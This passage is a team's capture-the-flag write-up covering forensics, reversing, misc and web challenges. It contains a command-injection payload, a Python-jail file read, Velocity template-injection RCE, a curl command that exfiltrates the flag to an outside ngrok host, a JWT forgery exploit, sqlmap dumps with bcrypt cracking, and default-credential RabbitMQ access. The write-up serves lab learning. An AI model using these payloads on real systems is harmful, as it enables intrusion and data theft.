> Annual_Report.xlsx

Q9. What is the size of the file located at record number 40?
> 57344

hardware

BunnyPass

Solved by : Starry-lord

In this challenge we only have a docker instance, here is what we see:

login rabbitmq

RabbitMQ is a reliable and mature messaging and streaming broker – https://www.rabbitmq.com

When we research about RabbitMQ online we can find interesting details, such as the the default password for an installation which is : guest:guest .

dashboard rabbitmq

We can see an admin panel, which allows to edit user rights and access to any ressource, and also shows the guest user has the administrator role, for some reason.

queues rabbitmq

We then notice a few Messages are ready so we can click to see whats going on in quality_control, production_logs, maintenance_logs, factory_idle, etc. The flag is in factory_idle.

rabbitmq get messages

flag in messages

HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}

Maze

Solved by : thewhiteh4t

  • Just explore challenge files

  • Read Factory.pdf

misc

Character

Solved by : Legend

Challenge description:

Security through Induced Boredom is a personal favourite approach of mine. Not as exciting as something like The Fray, but I love making it as tedious as possible to see my secrets, so you can only get one character at a time!

In this challenge the server is giving us the flag if we put the index value. For example if I put 0 then it will print the value H and so on. We need to do this till we get the complete flag till } character.

    #! /usr/bin/python3
    
    from pwn import *
    
    SERVER_IP = "94.237.53.53"
    SERVER_PORT = 47157
    
    conn = remote(SERVER_IP, SERVER_PORT)
    
    flag = ""
    
    for index in range(111):
        conn.sendline(str(index).encode('ascii'))
    
        server_response = conn.recvline().decode().strip()
    
        character = server_response.split()[-1]
        flag += character
    
        print(f"Index {index} : Character {character}", end="\r", flush=True)
        
        if character == "}":
            break
    
    print(f"Flag: {flag}")
    
    conn.close()
Flag: HTB{tH15_1s_4_r3aLly_l0nG_fL4g_i_h0p3_f0r_y0Ur_s4k3_tH4t_y0U_sCr1pTEd_tH1s_oR_els3_iT_t0oK_qU1t3_l0ng!!}

Stop Drop and Roll

Solved by : Legend

Challenge description:

The Fray: The Video Game is one of the greatest hits of the last... well, we don't remember quite how long. Our "computers" these days can't run much more than that, and it has a tendency to get repetitive...

This challenge is playing a game in which we have to input based on the challenge question. For example if it says GORGE we need to respond STOP, if GORGE, FIRE we need to send STOP-ROLL and so on till we finally get the flag.

    #! /usr/bin/python3
    from pwn import *
    
    IP_ADDRESS = '83.136.252.248'
    PORT = 54677
    
    conn = remote(IP_ADDRESS, PORT)
    
    print(conn.recvuntil(b'(y/n)').decode())
    
    conn.sendline(b'y')
    
    print(conn.recvline().decode())
    
    responses = {
        'GORGE': 'STOP',
        'PHREAK': 'DROP',
        'FIRE': 'ROLL'
    }
    
    while True:
        prompt = conn.recvline().decode().strip()
        print(prompt)
    
        if "What do you do?" in prompt:
            keywords = prompt.split("What do you do?")[1].strip().split(', ')
        else:
            keywords = prompt.split(', ')
        
        response_keywords = [responses.get(keyword) for keyword in keywords]
    
        if None in response_keywords:
            break
    
        response = '-'.join(response_keywords)
        
        conn.sendline(response.encode())
        print(f"Response: {response}")
        
        if 'Unfortunate! You died!' in prompt:
            break
    
        if 'Fantastic work! The flag is' in prompt:
            flag = prompt.split('Fantastic work! The flag is')[1].strip()
            print(f"The flag is: {flag}")
            break
    
    conn.close()
The flag is: HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}

Unbreakable

Solved by : thewhiteh4t

  • This is a python jail challenge, at first it looks difficult because even built-ins cannot be used but then we realized two things :
    • it is using eval instead of exec
    • open() is not blocked
  • Payload :
print(open('flag.txt').read())

re

Packed

solved by : avantika(@iamavu)

we are given a binary, called packed i.e this has been obfuscated/packed by the dev, which hinders our exploitation and reversing as it’s very hard to understand what’s going on

we use checksec command provided by pwntools to check which packer they have used pwn checksec packed

as we can observe it has been packed with UPX, quite the popular packer, now we just need to unpack it to see all the functions properly, so we can dissect it using the following command upx -d -o unpacked packed we would now have binary called unpacked in our current directory, which will be unpacked and not obfuscated fire up your ghidra, let’s have a look at the functions, the entered function has our flag in plaintext, so pretty much easy win HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd} pwned!


LootStash

Solved by : Starry-lord

Since I don’t really dive into reversing usually, I decided to try my luck with tools like ghidra for the occasion.

recon on the file

We can see the binary seems to output a random string, searched into a list then closes the program.

Immediately curious to see what was the list, I looked for it into ghidra and eventually cycling through the functions, you can find it.

sentence list found

Then curiosity made the rest possible, since i wanted to find some sort of pattern or something that would stand out:

finding the flag v1

After all of this, realised you could’ve actually just used strings:

HTB{n33dl3_1n_a_l00t_stack}

Boxcutter

Solved by : thewhiteh4t

  • Very simple challenge, all we had to do is load the binary in GDB and go few instructions forward and we get the flag, free points.

web

Flag Command

Solved by: Legend

Challenge description:

Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!

In this challenge the website is a game. After interacting with for a few minutes saw that it is running with API mostly. In burp I saw there was options which showed all the game command which can be used.

In that there was a secret command which seemed interesting. Just gave that command as input and got the flag.


TimeKORP

Solved By : thewhiteh4t

  • TimeModel.php is vulnerable
<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}
  • specifically :
$this->command = "date '+" . $format . "' 2>&1";
  • we just need to match single quotes and insert cat command in between so payload becomes :
';cat /flag;'


LockTalk

Solved by : thewhiteh4t & Starry-lord

This challenge came with files and a docker instance.

deny if /api/v1/get_ticket

We can see the haproxy configuration is set to deny access to the /api/v1/get_ticket endpoint, and that the requirements for this webpage to work is an outdated python_jwt 3.3.3 library.

Enumeration!

When we visit the webpage, we are greeted with 3 possible endpoints making everything pretty clear for our next step. but we can’t get a token when we try it because of haproxy. But when we send the request to BurpSuite’s repeater tab, and modify the path, we can actually get a ticket.

bypass haproxy

With our ticket we can now try the other 2 endpoints and read some exchanges between a fake ransomware group named Openbit3.0 and some of their victims, as a reference to the recent Operation of the Cronos Taskforce related to the LockBit ransomware gang.

ransom chats

So it was time to look into that old python json web token library, and sure enough, there was an exploit to be found. This CVE from 2022 allows to send and claims we want by exploiting the way the json web token is parsed.

python-jwt is a module for generating and verifying JSON Web Tokens. Versions prior to 3.3.4 are subject to Authentication Bypass by Spoofing, resulting in identity spoofing, session hijacking or authentication bypass. An attacker who obtains a JWT can arbitrarily forge its contents without knowing the secret key. Depending on the application, this may for example enable the attacker to spoof other user’s identities, hijack their sessions, or bypass authentication. Users should upgrade to version 3.3.4. There are no known workarounds. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39227

What a nice thing to read as a pentester, “there are no known workarounds”.

https://github.com/user0x1337/CVE-2022-39227

With the help of the given files we can determine that administrator is the required role to bypass all restrictions on the page.

roles: guest, administrator

With this knowledge in hand, we can now use the github proof of concept, as shown below.

claim we are admin

With the valid token we retrieved, and the correct role name, we can now craft a payload and send it to the /api/v1/flag endpoint.

HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}

Labyrinth Linguist

Solved by : thewhiteh4t

  • In this challenge we have a translation service
  • Upon inspecting source files, we noticed few things :
    • flag file is partially randomized in entrypoint.sh
mv /flag.txt /flag$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
  • In pom.xml we can see the dependencies and their version information :
<parent>
  <groupId>org.springframework.boot</groupId>
  <artifactId>spring-boot-starter-parent</artifactId>
  <version>1.5.10.RELEASE</version>
</parent>

<dependencies>
  <dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
  </dependency>
  <dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
  </dependency>
  <dependency>
    <groupId>org.apache.velocity</groupId>
    <artifactId>velocity</artifactId>
    <version>1.7</version>
  </dependency>
</dependencies>
  • Velocity v1.7 is vulnerable to SSTI attack
  • References :
    https://antgarsil.github.io/posts/velocity/
    https://iwconnect.com/apache-velocity-server-side-template-injection/
    
  • Based on the PoC above we ran the test case
#set ($run=1 + 1) $run

  • RCE was blind because we had no output of the commands so we used ngrok for getting a callback to confirm if the payload was working
  • Then we tried reverse shells but none of them worked for some reason so we thought to simplify we can make it download a file
  • And since the command output was not visible we used web requests to exfiltrate the flag by setting custom user agent in curl command
> cat pwn

curl "https://f084-116-74-26-67.ngrok-free.app/special" -H "User-Agent: $(cat /flag*)"

  • After sending the file we send a second request to run it using : sh pwn

  • Web logs in ngrok dashboard :


KORP Terminal

Solved by : Legend, thewhiteh4t

  • Challenge presents us with a login page
  • Testing SQL injection shows that it is vulnerable

  • POST request from burpsuite :
    POST / HTTP/1.1
    Host: 94.237.58.148:47562
    Content-Length: 66
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://94.237.58.148:47562
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Referer: http://94.237.58.148:47562
    Accept-Encoding: gzip, deflate, br
    Accept-Language: en-US,en;q=0.9
    Connection: close
    
    username=a&password=a
  • SQLMap
> sqlmap -r post.txt --ignore-code 401

> sqlmap -r $PWD/post.txt --ignore-code 401 -T users -dump

  • This hash is crackable with hashcat
> hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt

$2b$12$OF1QqLVkMFUwJrl1J1YG9u6FdAQZa6ByxFt/CkS/2HW8GA563yiv.:password123